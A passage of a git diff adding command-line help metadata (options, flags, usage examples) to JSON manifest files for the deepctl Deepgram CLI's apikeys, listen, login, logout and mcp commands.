+        "hidden": false,
+        "help": "Filter keys by status (active, expired)"
+      },
+      {
+        "class": "option",
+        "name": "tags",
+        "opts": [
+          "--tags"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Comma-separated tags for new key"
+      },
+      {
+        "class": "option",
+        "name": "ttl",
+        "opts": [
+          "--ttl"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "integer"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Time to live in seconds for new key"
+      },
+      {
+        "class": "option",
+        "name": "expiration_date",
+        "opts": [
+          "--expiration-date"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Expiration date for new key (ISO format)"
+      },
+      {
+        "class": "option",
+        "name": "scopes",
+        "opts": [
+          "--scopes"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Comma-separated scopes for new key (default: member)"
+      },
+      {
+        "class": "option",
+        "name": "comment",
+        "opts": [
+          "--comment"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Comment/label for new key"
+      },
+      {
+        "class": "option",
+        "name": "delete",
+        "opts": [
+          "--delete",
+          "-d"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Delete an API key"
+      },
+      {
+        "class": "option",
+        "name": "show",
+        "opts": [
+          "--show",
+          "-s"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Show details for a specific key"
+      },
+      {
+        "class": "option",
+        "name": "create",
+        "opts": [
+          "--create",
+          "-c"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Create a new API key"
+      },
+      {
+        "class": "option",
+        "name": "list",
+        "opts": [
+          "--list",
+          "-l"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "List all API keys"
+      },
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "choice",
+          "choices": [
+            "json",
+            "yaml",
+            "table",
+            "csv"
+          ],
+          "case_sensitive": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output format (same as the global -o before the command)."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      },
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable verbose output."
+      }
+    ]
+  }
 }
diff --git a/src/deepctl/_manifest.d/listen.json b/src/deepctl/_manifest.d/listen.json
index a7c94235..53dd5120 100644
--- a/src/deepctl/_manifest.d/listen.json
+++ b/src/deepctl/_manifest.d/listen.json
@@ -5,5 +5,571 @@
   "dist": "deepctl-cmd-listen",
   "summary": "Speech-to-text",
   "hidden": false,
-  "requires_auth": true
+  "requires_auth": true,
+  "help": {
+    "name": "listen",
+    "help": "Speech-to-text: transcribe files, URLs, microphone, and live streams.\n\nSource is auto-detected: pass a file path or URL as the first argument,\nuse --mic for live microphone, pipe audio via stdin, or run with no\narguments for interactive source selection.\n\nExamples:\n  dg listen audio.mp3\n  dg listen https://example.com/call.mp3 --diarize\n  dg listen --mic --model nova-3 --interim\n  dg listen audio.mp3 --diarize --summarize --save-to transcript.txt\n  dg listen call.wav --redact numbers --numerals\n  dg listen --mic --model flux-general-en --redact aggressive_numbers\n  dg -o json listen audio.mp3 | jq '.results.channels[0].alternatives[0].transcript'\n  ffmpeg -i video.mp4 -f s16le -ar 16000 -ac 1 - | dg listen --encoding linear16\n  dg listen -  # read raw audio from stdin interactively\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "Speech-to-text",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "srt",
+        "opts": [
+          "--srt"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output SRT captions instead of plain transcript. In live mode, entries are printed as they arrive. Mutually exclusive with --webvtt."
+      },
+      {
+        "class": "option",
+        "name": "webvtt",
+        "opts": [
+          "--webvtt"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output WebVTT captions instead of plain transcript. In live mode, entries are printed as they arrive. Mutually exclusive with --srt."
+      },
+      {
+        "class": "option",
+        "name": "no_validate",
+        "opts": [
+          "--no-validate"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip source validation (faster, but less helpful errors)"
+      },
+      {
+        "class": "option",
+        "name": "probe",
+        "opts": [
+          "--probe"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Run ffprobe analysis before transcribing (local files only)"
+      },
+      {
+        "class": "option",
+        "name": "save_to",
+        "opts": [
+          "--save-to",
+          "-s"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Save transcript (or caption file) to a path"
+      },
+      {
+        "class": "option",
+        "name": "channels",
+        "opts": [
+          "--channels"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "integer"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Number of audio channels (default: 1)"
+      },
+      {
+        "class": "option",
+        "name": "sample_rate",
+        "opts": [
+          "--sample-rate"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "integer"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Sample rate in Hz for raw stdin streams (default: 16000)"
+      },
+      {
+        "class": "option",
+        "name": "encoding",
+        "opts": [
+          "--encoding"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Raw audio encoding for stdin streams (e.g. linear16, mulaw, opus). Auto-detect skips this."
+      },
+      {
+        "class": "option",
+        "name": "interim",
+        "opts": [
+          "--interim"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Show partial results as they arrive (live streaming only)"
+      },
+      {
+        "class": "option",
+        "name": "numerals",
+        "opts": [
+          "--numerals"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Convert spoken numbers to digits ('four twenty' -> '420'). Applies to files and live streams."
+      },
+      {
+        "class": "option",
+        "name": "redact",
+        "opts": [
+          "--redact"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": true,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Redact sensitive content. Flux STT (v2) accepts 'numbers' or 'aggressive_numbers'; v1 models also accept 'pci', 'ssn', etc. Repeatable on v1 (e.g. --redact pci --redact numbers). Applies to files and live streams."
+      },
+      {
+        "class": "option",
+        "name": "sentiment",
+        "opts": [
+          "--sentiment"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Analyse sentiment (pre-recorded only)"
+      },
+      {
+        "class": "option",
+        "name": "topics",
+        "opts": [
+          "--topics"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Detect topics (pre-recorded only)"
+      },
+      {
+        "class": "option",
+        "name": "summarize",
+        "opts": [
+          "--summarize"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Generate a summary (pre-recorded only)"
+      },
+      {
+        "class": "option",
+        "name": "punctuate",
+        "opts": [
+          "--punctuate"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Add punctuation (default: on)"
+      },
+      {
+        "class": "option",
+        "name": "smart_format",
+        "opts": [
+          "--smart-format"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable smart formatting — numbers, dates, punctuation (default: on)"
+      },
+      {
+        "class": "option",
+        "name": "diarize",
+        "opts": [
+          "--diarize"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Label speakers in output as [Speaker 0], [Speaker 1], …"
+      },
+      {
+        "class": "option",
+        "name": "language",
+        "opts": [
+          "--language",
+          "-l"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Language code, e.g. en-US, es-ES (default: en-US)"
+      },
+      {
+        "class": "option",
+        "name": "model",
+        "opts": [
+          "--model",
+          "-m"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Deepgram model to use (default: nova-3)"
+      },
+      {
+        "class": "option",
+        "name": "mic",
+        "opts": [
+          "--mic"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Use microphone for live transcription (requires: pip install 'deepctl-cmd-listen[mic]')"
+      },
+      {
+        "class": "argument",
+        "name": "source",
+        "opts": [
+          "source"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true
+      },
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "choice",
+          "choices": [
+            "json",
+            "yaml",
+            "table",
+            "csv"
+          ],
+          "case_sensitive": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output format (same as the global -o before the command)."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      },
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable verbose output."
+      }
+    ]
+  }
 }
diff --git a/src/deepctl/_manifest.d/login.json b/src/deepctl/_manifest.d/login.json
index 2336192c..4f01b621 100644
--- a/src/deepctl/_manifest.d/login.json
+++ b/src/deepctl/_manifest.d/login.json
@@ -5,5 +5,240 @@
   "dist": "deepctl-cmd-login",
   "summary": "Log in to Deepgram",
   "hidden": false,
-  "requires_auth": false
+  "requires_auth": false,
+  "help": {
+    "name": "login",
+    "help": "Log in to Deepgram with browser-based authentication or API key\n\nExamples:\n  dg login\n  dg login --api-key YOUR_API_KEY\n  dg login --api-key YOUR_KEY --project-id YOUR_PROJECT\n  dg login --profile staging --api-key YOUR_KEY\n  dg --base-url https://api.eu.deepgram.com login --save-base-url\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "Log in to Deepgram",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "save_base_url",
+        "opts": [
+          "--save-base-url"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Save the --base-url URL as this profile's API URL (asks for confirmation in a terminal)"
+      },
+      {
+        "class": "option",
+        "name": "profile",
+        "opts": [
+          "--profile"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Profile name to use for storing credentials"
+      },
+      {
+        "class": "option",
+        "name": "force_write",
+        "opts": [
+          "--force-write",
+          "-f"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Don't prompt for confirmation when providing credentials"
+      },
+      {
+        "class": "option",
+        "name": "project_id",
+        "opts": [
+          "--project-id",
+          "-p"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Configure the CLI with your Deepgram project ID"
+      },
+      {
+        "class": "option",
+        "name": "api_key",
+        "opts": [
+          "--api-key",
+          "-k"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Configure the CLI with your Deepgram API key"
+      },
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "choice",
+          "choices": [
+            "json",
+            "yaml",
+            "table",
+            "csv"
+          ],
+          "case_sensitive": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output format (same as the global -o before the command)."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      },
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable verbose output."
+      }
+    ]
+  }
 }
diff --git a/src/deepctl/_manifest.d/logout.json b/src/deepctl/_manifest.d/logout.json
index 2cb75b84..14e598b2 100644
--- a/src/deepctl/_manifest.d/logout.json
+++ b/src/deepctl/_manifest.d/logout.json
@@ -5,5 +5,195 @@
   "dist": "deepctl-cmd-login",
   "summary": "Log out of Deepgram",
   "hidden": false,
-  "requires_auth": false
+  "requires_auth": false,
+  "help": {
+    "name": "logout",
+    "help": "Log out and clear stored credentials\n\nExamples:\n  dg logout\n  dg logout --profile staging\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "Log out of Deepgram",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "keep_config",
+        "opts": [
+          "--keep-config"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Keep profile configuration (project ID, base URL) and only clear credentials"
+      },
+      {
+        "class": "option",
+        "name": "all",
+        "opts": [
+          "--all"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Logout from all profiles"
+      },
+      {
+        "class": "option",
+        "name": "profile",
+        "opts": [
+          "--profile"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Profile to logout from (default: current profile)"
+      },
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "choice",
+          "choices": [
+            "json",
+            "yaml",
+            "table",
+            "csv"
+          ],
+          "case_sensitive": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output format (same as the global -o before the command)."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      },
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable verbose output."
+      }
+    ]
+  }
 }
diff --git a/src/deepctl/_manifest.d/mcp.json b/src/deepctl/_manifest.d/mcp.json
index 93178d63..41c8559c 100644
--- a/src/deepctl/_manifest.d/mcp.json
+++ b/src/deepctl/_manifest.d/mcp.json
@@ -5,5 +5,239 @@
   "dist": "deepctl-cmd-mcp",
   "summary": "Run MCP proxy for Deepgram AI",
   "hidden": false,
-  "requires_auth": false
+  "requires_auth": false,
+  "help": {
+    "name": "mcp",
+    "help": "Run an MCP proxy that connects to Deepgram's developer API and exposes remote tools locally for AI editors\n\nExamples:\n  dg mcp\n  dg mcp --base-url https://api.dx.deepgram.com\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "Run MCP proxy for Deepgram AI",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "debug",
+        "opts": [
+          "--debug"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable debug logging"
+      },
+      {
+        "class": "option",
+        "name": "base_url",
+        "opts": [
+          "--base-url"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Base URL for Deepgram developer API"
+      },
+      {
+        "class": "option",
+        "name": "host",
+        "opts": [
+          "--host"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Ignored: dg mcp runs only over stdio."
+      },
+      {
+        "class": "option",
+        "name": "port",
+        "opts": [
+          "--port",
+          "-p"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "integer"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Ignored: dg mcp runs only over stdio."
+      },
+      {
+        "class": "option",
+        "name": "transport",
+        "opts": [
+          "--transport",
+          "-t"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Transport: stdio (the only one supported)"
+      },
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
